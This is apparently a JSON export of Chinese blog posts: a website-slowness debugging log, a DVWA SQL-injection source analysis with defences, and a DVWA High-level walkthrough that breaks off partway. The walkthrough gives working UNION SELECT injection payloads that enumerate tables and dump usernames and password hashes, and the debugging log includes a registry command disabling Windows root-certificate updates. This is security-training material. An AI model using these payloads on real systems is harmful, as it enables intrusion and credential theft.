[{"content":"一、今天做了什么 1. 域名解析：renjiaxing.ren 的 A 记录 → 154.8.147.160（10 分钟生效） 2. 免费证书：申请腾讯云 90 天免费 DV 证书（TrustAsia CA） 3. 配置 HTTPS：Nginx 加载证书，HTTP 自动跳转 HTTPS 4. 排查\u0026#34;网站加载慢\u0026#34;：最终发现是模板引用的境外 CDN 资源被墙 5. 资源本地化：font-awesome、jquery 下载到本地 static/，删除 busuanzi、mermaid 二、排查全程回顾（走弯路的每一步） 现象 电脑浏览器打开网站要 15-30 秒才出页面。手机秒开。\n弯路 1：怀疑 Let\u0026rsquo;s Encrypt 证书的 OCSP 被墙 当时的证书：Let\u0026#39;s Encrypt Windows curl 报错：CRYPT_E_REVOCATION_OFFLINE（吊销服务器离线） 分析：LE 的 OCSP 服务器在国内被墙，Windows schannel 检查吊销失败 行动：换腾讯云 TrustAsia 证书 结果：curl 不报错了，但 TLS 握手还是 15 秒——问题没解决 弯路 2：怀疑 TrustAsia 证书链的吊销检查 测试了所有吊销检查端点： ✓ 叶子证书 OCSP —— 0.19 秒（快） ✓ 中间证书 OCSP —— 快 ✓ 中间证书 CRL —— 快 ✓ 交叉根证书 CRL —— 0.29 秒（快，762 字节合法 CRL） 分析：TrustAsia 的\u0026#34;根证书\u0026#34;实际是波兰 Certum 交叉签发的， 怀疑 Windows 把交叉根当中间证书查 CRL → 查 Certum 波兰服务器超时 行动：开启 OCSP Stapling（服务器把吊销状态钉在握手包里） 结果：stapling 生效了（OCSP Response Status: successful）， curl 还是 15 秒——问题依旧 弯路 3：怀疑 Windows 客户端自身 测试： ✓ 所有吊销检查 URL 直连都快 ✓ 服务器本地握手 4 毫秒 ✓ curl --ssl-no-revoke 秒过（证明问题在吊销检查） ✓ 手机同一 WiFi 秒进（排除网络路径问题） 行动：禁用 Windows 自动根证书更新（CTL 更新） 结果：curl 变快了！但浏览器还是慢——问题还在 弯路 4：真正的答案——F12 网络面板 浏览器 F12 → Network 标签 → 刷新 → 看到两个请求卡 30 秒： https://cdn.jsdelivr.net/npm/font-awesome@4.7.0/css/font-awesome.min.css https://cdn.jsdelivr.net/npm/jquery@3.6.3/dist/jquery.min.js 真相：jsDelivr CDN 在国内被墙！ 模板 extend_head.html 是从 sulv 博客样例复制来的， 里面带了三个境外 CDN 引用：jsDelivr（两个）+ busuanzi 统计。 浏览器加载页面时死等这些资源超时——这就是\u0026#34;网站慢\u0026#34;的真正原因。 三、为什么一开始找不到？ 复盘诊断过程，犯了三个错误：\n错误 1：被第一个证据带偏（锚定效应） 第一条证据：curl 报 CRYPT_E_REVOCATION_OFFLINE → 这是真实的问题！LE 证书确实有 OCSP 被墙的问题 → 但它只是问题之一，不是全部 后续所有排查都围绕\u0026#34;证书/吊销\u0026#34;展开， 因为第一个证据太强，形成了思维锚定。 换了证书、开了 stapling、改了注册表—— 每一步都解决了一部分问题，但\u0026#34;浏览器慢\u0026#34;的主因一直在别处。 错误 2：用 curl 的诊断结果代表浏览器的体验 curl 测的是：纯 TLS 握手速度 浏览器慢的是：整个页面加载（HTML + CSS + JS + 各种外部资源） curl 的\u0026#34;TLS 握手 15 秒\u0026#34;是真实存在的（schannel 吊销检查）， 但它被解决后，浏览器依然慢——因为浏览器的慢来自另一个层面： 页面加载的外部资源被墙。 错误 3：没有第一时间打开 F12 F12 网络面板是浏览器问题排查的第一工具， 一秒钟就能看到哪个请求卡住了。 但整个排查过程绕了一大圈： 证书 → OCSP → CRL → 交叉签名 → CTL → 注册表…… 最后才想到看浏览器自己报告的网络请求时间线。 四、方法论教训 1. 先分层，再排查 网站访问慢 = 多层问题可能叠加： ┌─ 网络层：DNS 解析慢？TCP 连接慢？丢包？ ├─ TLS 层：证书链验证慢？吊销检查超时？ ├─ HTTP 层：服务器响应慢？ └─ 资源层：页面引用的 CSS/JS/图片/CDN 慢？ ← 今天的主因 每次排查先确认在哪一层，而不是扎进第一层看到的错误里。\n2. 工具要对应层级 层级 对应工具 DNS nslookup、dig TCP/TLS curl -w 计时、openssl s_client、Test-NetConnection HTTP 响应 curl -v、服务器日志 页面加载（资源层） 浏览器 F12 → Network 面板 ← 最直观 3. 锚定效应是排查的大敌 第一个错误线索会强烈主导后续判断。解法：把\u0026quot;现象\u0026quot;和\u0026quot;原因\u0026quot;分开记——\n现象清单（不预设原因）： ✓ curl TLS 握手 15 秒 ✓ 浏览器页面 30 秒才出来 ✓ 手机秒开 ✓ 百度秒开 逐个现象找原因，而不是找一个原因解释所有现象。 \u0026#34;浏览器慢\u0026#34;和\u0026#34;curl 慢\u0026#34;可能是两个独立的问题。 4. 客户端报错 ≠ 服务端问题 curl 报 CRYPT_E_REVOCATION_OFFLINE → 客户端的吊销检查失败 → 但不等于服务器配置错了 → 只是客户端（Windows schannel）自身的行为限制 同理：浏览器加载慢 → 先看浏览器请求了哪些资源 → 而不是假设服务器慢 五、今天的实际收获 ✅ 域名 + ICP 备案 + HTTPS 全链路打通 ✅ 学会了免费证书申请、Nginx 证书配置、OCSP Stapling ✅ 理解了 Windows schannel 吊销检查的 15 秒超时机制 ✅ 理解了 Let\u0026#39;s Encrypt 被墙、TrustAsia 交叉签名链等真实世界问题 ✅ 发现了境外 CDN 在国内的可用性问题（jsDelivr、busuanzi、unpkg） ✅ 完成了资源本地化（font-awesome、jquery 已存本地 static/） ✅ 最大的收获：排查方法论的教训——分层、对工具、防锚定 六、后续待办 □ GoatCounter 自托管访问统计（Docker + Nginx 反代） □ 博客性能：确认无其他被墙资源 □ 证书 90 天续期提醒（腾讯云免费证书） □ 备份：config.yml、证书文件、extend_head.html 已改动的部分 附录：关键命令与输出 1. TLS 握手耗时诊断（决定性问题一） # ↓ 本地 Windows PowerShell curl.exe -o NUL -s -w \u0026#34;DNS解析: %{time_namelookup}s`nTCP连接: %{time_connect}s`nTLS握手: %{time_appconnect}s`n总耗时: %{time_total}s\u0026#34; https://www.renjiaxing.ren DNS解析: 0.008654s TCP连接: 0.042818s TLS握手: 15.899862s ← 问题锁定在 TLS 握手阶段 总耗时: 15.947801s 2. Let\u0026rsquo;s Encrypt 证书的吊销报错（触发换证书） * schannel: next InitializeSecurityContext failed: CRYPT_E_REVOCATION_OFFLINE (0x80092013) - 由于吊销服务器已脱机，吊销功能无法检查吊销。 3. OCSP/CRL 端点逐个测速（全部正常，排除吊销端点被墙） # ↓ 本地 Windows PowerShell curl.exe -o NUL -s -w \u0026#34;OCSP总耗时: %{time_total}s\u0026#34; http://ocsp.wt.trustasia.com/TrustAsiaDVTLSRSACA2024 curl.exe -o NUL -s -w \u0026#34;CRL地址: %{time_total}s 下载大小: %{size_download}字节`n\u0026#34; http://certum-crl.wt.trustasia.com/ctnca.crl OCSP总耗时: 0.190802s CRL地址: 0.294140s 下载大小: 762字节 4. OCSP Stapling 验证 # ↓ 远程服务器 echo QUIT | openssl s_client -connect www.renjiaxing.ren:443 -status 2\u0026gt;/dev/null | grep -A3 \u0026#34;OCSP Response Status\u0026#34; OCSP Response Status: successful (0x0) Response Type: Basic OCSP Response Responder Id: 1CBA9557F55273205946684A5864C8AC1DC191BC 5. 决定性证据：F12 网络面板发现卡顿请求 https://cdn.jsdelivr.net/npm/font-awesome@4.7.0/css/font-awesome.min.css 30 秒 https://cdn.jsdelivr.net/npm/jquery@3.6.3/dist/jquery.min.js 30 秒 https://busuanzi.ibruce.info/busuanzi?jsonpCallback=... 35 秒 6. 修复：资源本地化 # ↓ 远程服务器 sed -i \u0026#39;s|https://cdn.jsdelivr.net/npm/font-awesome@4.7.0/css/font-awesome.min.css|/font-awesome.min.css|; s|https://cdn.jsdelivr.net/npm/jquery@3.6.3/dist/jquery.min.js|/jquery.min.js|\u0026#39; /home/renbudang/myblog/layouts/partials/extend_head.html sed -i \u0026#39;/busuanzi/d\u0026#39; /home/renbudang/myblog/layouts/partials/extend_head.html 7. Windows CTL 更新禁用（解决 schannel 侧慢） # ↓ 本地 Windows PowerShell（管理员） New-Item -Path \u0026#34;HKLM:\\SOFTWARE\\Policies\\Microsoft\\SystemCertificates\\AuthRoot\u0026#34; -Force | Out-Null Set-ItemProperty -Path \u0026#34;HKLM:\\SOFTWARE\\Policies\\Microsoft\\SystemCertificates\\AuthRoot\u0026#34; -Name \u0026#34;DisableRootAutoUpdate\u0026#34; -Value 1 -Type DWord ","permalink":"https://www.renjiaxing.ren/posts/%E6%8A%80%E6%9C%AF/2026_0820_01_%E7%BD%91%E7%AB%99%E6%85%A2%E6%8E%92%E6%9F%A5%E5%AE%9E%E5%BD%95_%E8%AF%81%E4%B9%A6cdn%E4%B8%8E%E8%AF%8A%E6%96%AD%E6%96%B9%E6%B3%95%E8%AE%BA/","summary":"\u003ch2 id=\"一今天做了什么\"\u003e一、今天做了什么\u003c/h2\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e1. 域名解析：renjiaxing.ren 的 A 记录 → 154.8.147.160（10 分钟生效）\n2. 免费证书：申请腾讯云 90 天免费 DV 证书（TrustAsia CA）\n3. 配置 HTTPS：Nginx 加载证书，HTTP 自动跳转 HTTPS\n4. 排查\u0026#34;网站加载慢\u0026#34;：最终发现是模板引用的境外 CDN 资源被墙\n5. 资源本地化：font-awesome、jquery 下载到本地 static/，删除 busuanzi、mermaid\n\u003c/code\u003e\u003c/pre\u003e\u003chr\u003e\n\u003ch2 id=\"二排查全程回顾走弯路的每一步\"\u003e二、排查全程回顾（走弯路的每一步）\u003c/h2\u003e\n\u003ch3 id=\"现象\"\u003e现象\u003c/h3\u003e\n\u003cp\u003e电脑浏览器打开网站要 15-30 秒才出页面。手机秒开。\u003c/p\u003e\n\u003ch3 id=\"弯路-1怀疑-lets-encrypt-证书的-ocsp-被墙\"\u003e弯路 1：怀疑 Let\u0026rsquo;s Encrypt 证书的 OCSP 被墙\u003c/h3\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e当时的证书：Let\u0026#39;s Encrypt\nWindows curl 报错：CRYPT_E_REVOCATION_OFFLINE（吊销服务器离线）\n分析：LE 的 OCSP 服务器在国内被墙，Windows schannel 检查吊销失败\n行动：换腾讯云 TrustAsia 证书\n结果：curl 不报错了，但 TLS 握手还是 15 秒——问题没解决\n\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"弯路-2怀疑-trustasia-证书链的吊销检查\"\u003e弯路 2：怀疑 TrustAsia 证书链的吊销检查\u003c/h3\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e测试了所有吊销检查端点：\n  ✓ 叶子证书 OCSP —— 0.19 秒（快）\n  ✓ 中间证书 OCSP —— 快\n  ✓ 中间证书 CRL —— 快\n  ✓ 交叉根证书 CRL —— 0.29 秒（快，762 字节合法 CRL）\n分析：TrustAsia 的\u0026#34;根证书\u0026#34;实际是波兰 Certum 交叉签发的，\n     怀疑 Windows 把交叉根当中间证书查 CRL → 查 Certum 波兰服务器超时\n行动：开启 OCSP Stapling（服务器把吊销状态钉在握手包里）\n结果：stapling 生效了（OCSP Response Status: successful），\n     curl 还是 15 秒——问题依旧\n\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"弯路-3怀疑-windows-客户端自身\"\u003e弯路 3：怀疑 Windows 客户端自身\u003c/h3\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e测试：\n  ✓ 所有吊销检查 URL 直连都快\n  ✓ 服务器本地握手 4 毫秒\n  ✓ curl --ssl-no-revoke 秒过（证明问题在吊销检查）\n  ✓ 手机同一 WiFi 秒进（排除网络路径问题）\n行动：禁用 Windows 自动根证书更新（CTL 更新）\n结果：curl 变快了！但浏览器还是慢——问题还在\n\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"弯路-4真正的答案f12-网络面板\"\u003e弯路 4：真正的答案——F12 网络面板\u003c/h3\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e浏览器 F12 → Network 标签 → 刷新 → 看到两个请求卡 30 秒：\n  https://cdn.jsdelivr.net/npm/font-awesome@4.7.0/css/font-awesome.min.css\n  https://cdn.jsdelivr.net/npm/jquery@3.6.3/dist/jquery.min.js\n\n真相：jsDelivr CDN 在国内被墙！\n模板 extend_head.html 是从 sulv 博客样例复制来的，\n里面带了三个境外 CDN 引用：jsDelivr（两个）+ busuanzi 统计。\n浏览器加载页面时死等这些资源超时——这就是\u0026#34;网站慢\u0026#34;的真正原因。\n\u003c/code\u003e\u003c/pre\u003e\u003chr\u003e\n\u003ch2 id=\"三为什么一开始找不到\"\u003e三、为什么一开始找不到？\u003c/h2\u003e\n\u003cp\u003e复盘诊断过程，犯了三个错误：\u003c/p\u003e","title":"网站慢排查实录：证书、CDN 与诊断方法论的教训"},{"content":"概述 DVWA SQL 注入的四个等级中，Impossible 不是让你攻破的——它是安全样例，告诉你\u0026quot;如果一开始就写对，前面那些漏洞根本不会存在\u0026quot;。本文逐一拆解四级源码，以 Impossible 为重点，看它如何从根源上消除 SQL 注入。\n一、Low：裸奔 $id = $_REQUEST[ \u0026#39;id\u0026#39; ]; $query = \u0026#34;SELECT first_name, last_name FROM users WHERE user_id = \u0026#39;$id\u0026#39;;\u0026#34;; $result = mysqli_query($GLOBALS[\u0026#34;___mysqli_ston\u0026#34;], $query); 问题清单 问题 代码体现 后果 无过滤 直接 $_REQUEST['id'] 进 SQL 输入即代码 字符型拼接 WHERE user_id = '$id' — 引号包裹 ' 可用于闭合字符串上下文 报错暴露信息 or die(...mysqli_error()...) 攻击者看到语法错误，帮助调试 payload 为什么 1' or '1'='1' # 能打穿 -- 拼接后： SELECT ... WHERE user_id = \u0026#39;1\u0026#39; or \u0026#39;1\u0026#39;=\u0026#39;1\u0026#39; #\u0026#39; -- ↑ 闭合 ↑ 注入 ↑ 注释吞尾 攻击者的 ' 提前结束了字符串字面量，or '1'='1' 进入代码上下文，# 吞掉尾部多余引号。数据越界变成了代码。\n二、Medium：打在空气上的防御 $id = $_POST[ \u0026#39;id\u0026#39; ]; $id = mysqli_real_escape_string($GLOBALS[\u0026#34;___mysqli_ston\u0026#34;], $id); $query = \u0026#34;SELECT first_name, last_name FROM users WHERE user_id = $id;\u0026#34;; 加了什么 变化 意图 实际效果 $_POST 取代 $_REQUEST 限制请求方式 无安全意义，curl -d 即可 mysqli_real_escape_string() 转义 ' → \\' 无效——根本没有引号可转 WHERE user_id = $id（无引号） — 这是一个意外：数字型 SQL 为什么防御失效 -- 后端 SQL（注意：$id 没有被引号包裹）： SELECT ... WHERE user_id = $id; -- 攻击者输入：1 or 1=1 -- 拼接后： SELECT ... WHERE user_id = 1 or 1=1; mysqli_real_escape_string() 转义了 '、\u0026quot;、\\ 等字符——但这条 SQL 里根本没有引号。数字型注入不需要引号，转义函数打到空气上。防御必须打在正确的位置上。 把转义函数放在没有引号的数字型查询上，等于给木头房子装了防盗门却忘了墙上有个大洞。\n三、High：包装纸 // 结果页面（sqli.php）： $id = $_SESSION[ \u0026#39;id\u0026#39; ]; $query = \u0026#34;SELECT first_name, last_name FROM users WHERE user_id = \u0026#39;$id\u0026#39; LIMIT 1;\u0026#34;; $result = mysqli_query($GLOBALS[\u0026#34;___mysqli_ston\u0026#34;], $query) or die( \u0026#39;\u0026lt;pre\u0026gt;Something went wrong.\u0026lt;/pre\u0026gt;\u0026#39; ); 加了什么 变化 意图 实际效果 payload 存在 session 中 输入/输出分页，增加复杂度 手动注入不受影响；简单脚本多一步 LIMIT 1 限制结果数量 UNION SELECT 仍然能用，每页只显一行而已 隐藏报错 Something went wrong 不给攻击者错误信息 这是唯一有效的安全改进，但注入点仍在 为什么 payload 不变 High 回归了字符型拼接——WHERE user_id = '$id'，有引号，没有转义。跟 Low 一模一样的漏洞结构，只是外面套了一层 session 传输协议。包装纸不是墙。\n四、Impossible：安全样例 if( isset( $_GET[ \u0026#39;Submit\u0026#39; ] ) ) { // ① Anti-CSRF Token checkToken( $_REQUEST[ \u0026#39;user_token\u0026#39; ], $_SESSION[ \u0026#39;session_token\u0026#39; ], \u0026#39;index.php\u0026#39; ); $id = $_GET[ \u0026#39;id\u0026#39; ]; // ② 输入类型校验 if( is_numeric( $id ) ) { // ③ 参数化查询（Prepared Statement） $data = $db-\u0026gt;prepare( \u0026#39;SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;\u0026#39; ); $data-\u0026gt;bindParam( \u0026#39;:id\u0026#39;, $id, PDO::PARAM_INT ); $data-\u0026gt;execute(); $row = $data-\u0026gt;fetch(); // ④ 结果数量校验 if( $data-\u0026gt;rowCount() == 1 ) { $first = $row[ \u0026#39;first_name\u0026#39; ]; $last = $row[ \u0026#39;last_name\u0026#39; ]; echo \u0026#34;\u0026lt;pre\u0026gt;ID: {$id}\u0026lt;br /\u0026gt;First name: {$first}\u0026lt;br /\u0026gt;Surname: {$last}\u0026lt;/pre\u0026gt;\u0026#34;; } } // 不是数字 → 什么都不做，安静拒绝 } 四道防线，道道致命 防线 代码 挡什么攻击 ① Anti-CSRF Token checkToken(...) CSRF：防止攻击者构造一个链接，诱导已登录用户点击来执行注入（\u0026lt;img src=\u0026quot;http://dvwa/sqli/?id=1' or 1=1 #\u0026amp;Submit=Submit\u0026quot;\u0026gt;） ② is_numeric() is_numeric($id) SQL 注入的第一道直接防线。 1' or '1'='1' # 不是数字 → false → 查询不执行 → 攻击连数据库的门都摸不到 ③ 参数化查询 prepare() + bindParam() SQL 注入的终极解。 :id 是占位符，bindParam 告诉数据库：\u0026quot;:id 是整数，不管里面有什么字符，只当数据，永远不当代码\u0026quot; ④ 结果校验 LIMIT 1 + rowCount() == 1 即使前两道失守，UNION SELECT 拉一万行也没用——多行直接拒绝，不显示 为什么 is_numeric 是第一道墙 $id = \u0026#34;1\u0026#39; or \u0026#39;1\u0026#39;=\u0026#39;1\u0026#39; #\u0026#34;; is_numeric($id); // → false —— 包含字母和特殊字符，不是数字 is_numeric() 不关心输入里有没有 ' 或 or 或 #——它只问一个问题：\u0026ldquo;这是一个合法的数字吗？\u0026ldquo;不是 → 整段代码不执行。攻击者连数据库的边都没碰到。\n参数化查询为什么是终极解 传统拼接和参数化查询的本质区别：\n拼接字符串： \u0026#34;SELECT ... WHERE id = \u0026#34; + \u0026#34;$id\u0026#34; → 字符串拼在一起 → 一起解析 → 数据可能变成代码 参数化查询： ① 数据库先解析 SQL 模板：SELECT ... WHERE id = :id ② 解析完成后，SQL 结构已固定 ③ 再把 $id 的值插入 :id 占位符 → 此时插入的一定是数据，永远不会变成代码 bindParam( ':id', $id, PDO::PARAM_INT ) 第三个参数 PDO::PARAM_INT 更进一步——明确告诉数据库\u0026quot;这个是整数\u0026rdquo;。即使某种极端情况下占位符机制被绕过，数据库也会拒绝把非整数塞进 :id。\n为什么 LIMIT 1 + rowCount == 1 这是纵深防御——每一层防线独立起作用，一层破了还有下一层。\nis_numeric 防输入 → 非数字直接踢出 prepare 防注入 → 即使绕过了 is_numeric，注入也无法成立 LIMIT 1 + rowCount 防泄露 → 即使注入成立，也拿不到多行数据 五、四级源码并列对比 ┌──────────┬──────────────────────────────────────────────────────┐ │ Low │ $id = $_REQUEST[\u0026#39;id\u0026#39;]; │ │ │ $query = \u0026#34;SELECT ... WHERE user_id = \u0026#39;$id\u0026#39;\u0026#34;; │ │ │ → 字符型拼接，无过滤，错误外露 │ ├──────────┼──────────────────────────────────────────────────────┤ │ Medium │ $id = $_POST[\u0026#39;id\u0026#39;]; │ │ │ $id = mysqli_real_escape_string($id); │ │ │ $query = \u0026#34;SELECT ... WHERE user_id = $id\u0026#34;; │ │ │ → 转义函数打在空气上（数字型，没有引号可转） │ ├──────────┼──────────────────────────────────────────────────────┤ │ High │ $id = $_SESSION[\u0026#39;id\u0026#39;]; │ │ │ $query = \u0026#34;SELECT ... WHERE user_id = \u0026#39;$id\u0026#39; LIMIT 1\u0026#34;; │ │ │ → 字符型拼接回归，加 session 分页 + 隐藏报错 + LIMIT 1 │ │ │ → 包装纸，不防注入 │ ├──────────┼──────────────────────────────────────────────────────┤ │Impossible│ if(is_numeric($id)) { │ │ │ $db-\u0026gt;prepare(\u0026#39;...WHERE user_id = (:id) LIMIT 1\u0026#39;); │ │ │ $db-\u0026gt;bindParam(\u0026#39;:id\u0026#39;, $id, PDO::PARAM_INT); │ │ │ if($db-\u0026gt;rowCount() == 1) { ... } │ │ │ } │ │ │ → 类型校验 + 参数化查询 + 结果限制 = 三重纵深防御 │ └──────────┴──────────────────────────────────────────────────────┘ 六、核心认知 1. SQL 注入的本质 输入能够从\u0026quot;数据上下文\u0026quot;闯进\u0026quot;代码上下文\u0026rdquo;，是因为数据和代码的边界被打破了。参数化查询重新划清了这条边界——先解析 SQL 结构，再插入参数值。结构固定后，插入的只能是数据。\n2. 防御的层次感 Impossible 的防御架构： 第一层：is_numeric() → 输入就错 → 后面代码不执行（前置阻断） 第二层：prepare + bindParam → 输入对了但含恶意代码 → 参数化让代码失效（核心阻断） 第三层：LIMIT 1 + rowCount → 前两层都漏了 → 限制输出规模（后置阻断） 第四层：checkToken() → 别人冒充你发的 → 拒绝（外围阻断） 不是\u0026quot;加一个 filter 就安全了\u0026quot;——是让每一层独立阻断不同类型的攻击，层与层之间不依赖对方。\n3. 考试 vs 工作 CISP-PTE 考：你能攻破 Low → High（攻击能力） 工作面试问：你怎么防御 SQL 注入？（防御知识） → is_numeric 做输入校验 → PDO prepare + bindParam 做参数化查询 → 报错信息不暴露给用户 → 加上 CSRF Token DVWA Impossible 的四行代码，就是你面试时的标准答案。\n本系列共四篇：\nSQL 注入 Low(1) SQL 注入 Medium(2) SQL 注入 High(3) SQL 注入 Impossible(4) ← 本文 ","permalink":"https://www.renjiaxing.ren/posts/%E6%8A%80%E6%9C%AF/2026_0804_04_sql%E6%B3%A8%E5%85%A5_impossible%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90%E4%B8%8E%E5%9B%9B%E7%BA%A7%E5%AF%B9%E6%AF%944/","summary":"\u003ch2 id=\"概述\"\u003e概述\u003c/h2\u003e\n\u003cp\u003eDVWA SQL 注入的四个等级中，Impossible 不是让你攻破的——它是\u003cstrong\u003e安全样例\u003c/strong\u003e，告诉你\u0026quot;如果一开始就写对，前面那些漏洞根本不会存在\u0026quot;。本文逐一拆解四级源码，以 Impossible 为重点，看它如何从根源上消除 SQL 注入。\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"一low裸奔\"\u003e一、Low：裸奔\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$id \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e $_REQUEST[ \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;id\u0026#39;\u003c/span\u003e ];\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$query \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;SELECT first_name, last_name FROM users WHERE user_id = \u0026#39;\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e$id\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;;\u0026#34;\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$result \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003emysqli_query\u003c/span\u003e($GLOBALS[\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;___mysqli_ston\u0026#34;\u003c/span\u003e], $query);\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"问题清单\"\u003e问题清单\u003c/h3\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003e问题\u003c/th\u003e\n          \u003cth\u003e代码体现\u003c/th\u003e\n          \u003cth\u003e后果\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003e无过滤\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e直接 \u003ccode\u003e$_REQUEST['id']\u003c/code\u003e 进 SQL\u003c/td\u003e\n          \u003ctd\u003e输入即代码\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003e字符型拼接\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003eWHERE user_id = '$id'\u003c/code\u003e — 引号包裹\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003e'\u003c/code\u003e 可用于闭合字符串上下文\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003e报错暴露信息\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003eor die(...mysqli_error()...)\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003e攻击者看到语法错误，帮助调试 payload\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3 id=\"为什么-1-or-11--能打穿\"\u003e为什么 \u003ccode\u003e1' or '1'='1' #\u003c/code\u003e 能打穿\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-sql\" data-lang=\"sql\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e-- 拼接后：\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003eSELECT\u003c/span\u003e ... \u003cspan style=\"color:#66d9ef\"\u003eWHERE\u003c/span\u003e user_id \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;1\u0026#39;\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eor\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;1\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;1\u0026#39;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e#\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e--                          ↑ 闭合  ↑ 注入  ↑ 注释吞尾\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e攻击者的 \u003ccode\u003e'\u003c/code\u003e 提前结束了字符串字面量，\u003ccode\u003eor '1'='1'\u003c/code\u003e 进入代码上下文，\u003ccode\u003e#\u003c/code\u003e 吞掉尾部多余引号。\u003cstrong\u003e数据越界变成了代码。\u003c/strong\u003e\u003c/p\u003e","title":"SQL 注入 Impossible(4)：PHP 源码分析与四级对比"},{"content":"High 的变化 DVWA High 的 SQL 注入与 Low/Medium 不同——输入页面和结果页面分开了。\nLow/Medium： 一个页面 — 上面输入框，下面结果 High： 两个页面 — Session 页面（输入 payload）→ 结果页面（看输出） 在 SQL Injection 主页面看到的是 \u0026ldquo;Click here to change your ID\u0026rdquo;，点击后弹出新页面输入 ID，Submit 后回到主页面看结果。\n后端做了什么 High 的 PHP 源码逻辑：\n// 结果页面（sqli.php）： if (isset($_SESSION[\u0026#39;id\u0026#39;])) { $id = $_SESSION[\u0026#39;id\u0026#39;]; $query = \u0026#34;SELECT first_name, last_name FROM users WHERE user_id = \u0026#39;$id\u0026#39;\u0026#34;; // 执行查询，显示结果 } // 输入页面（sqli_session.php）： $_SESSION[\u0026#39;id\u0026#39;] = $_POST[\u0026#39;id\u0026#39;]; Payload 存在 PHP session 变量里，两个页面通过 $_SESSION['id'] 共享同一个值。SQL 语句本身没有任何变化——字符型注入，没有任何过滤。\n注入流程 跟 Low 完全相同——字符型注入，' 闭合、# 注释。\n第一步：确认注入点 输入：1\u0026#39; or \u0026#39;1\u0026#39;=\u0026#39;1\u0026#39; # 返回全部五个用户。注入成功。\n第二步到第六步：UNION SELECT 偷数据 每条 payload 在 \u0026ldquo;Change your ID\u0026rdquo; 页面输入：\n# 猜列数 1\u0026#39; order by 2 # → 正常 → 列数 = 2 # 确认显示位置 1\u0026#39; union select 1,2 # → First name: 1, Surname: 2（两列都可显示） # 查库名 1\u0026#39; union select database(),2 # → dvwa # 查表名 1\u0026#39; union select group_concat(table_name),2 from information_schema.tables where table_schema=database() # → guestbook,users # 脱裤 1\u0026#39; union select user,password from users # user | password ─────────┼────────────────────────────────── admin | 5f4dcc3b5aa765d61d8327deb882cf99 gordonb | e99a18c428cb38d5f260853678922e03 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 smithy | 5f4dcc3b5aa765d61d8327deb882cf99 High 到底在考什么 不是防御强度——是应变能力。\n分页 + session 传递的实质影响：\n对手动注入：零影响 你只是在 \u0026ldquo;Change your ID\u0026rdquo; 页面输入 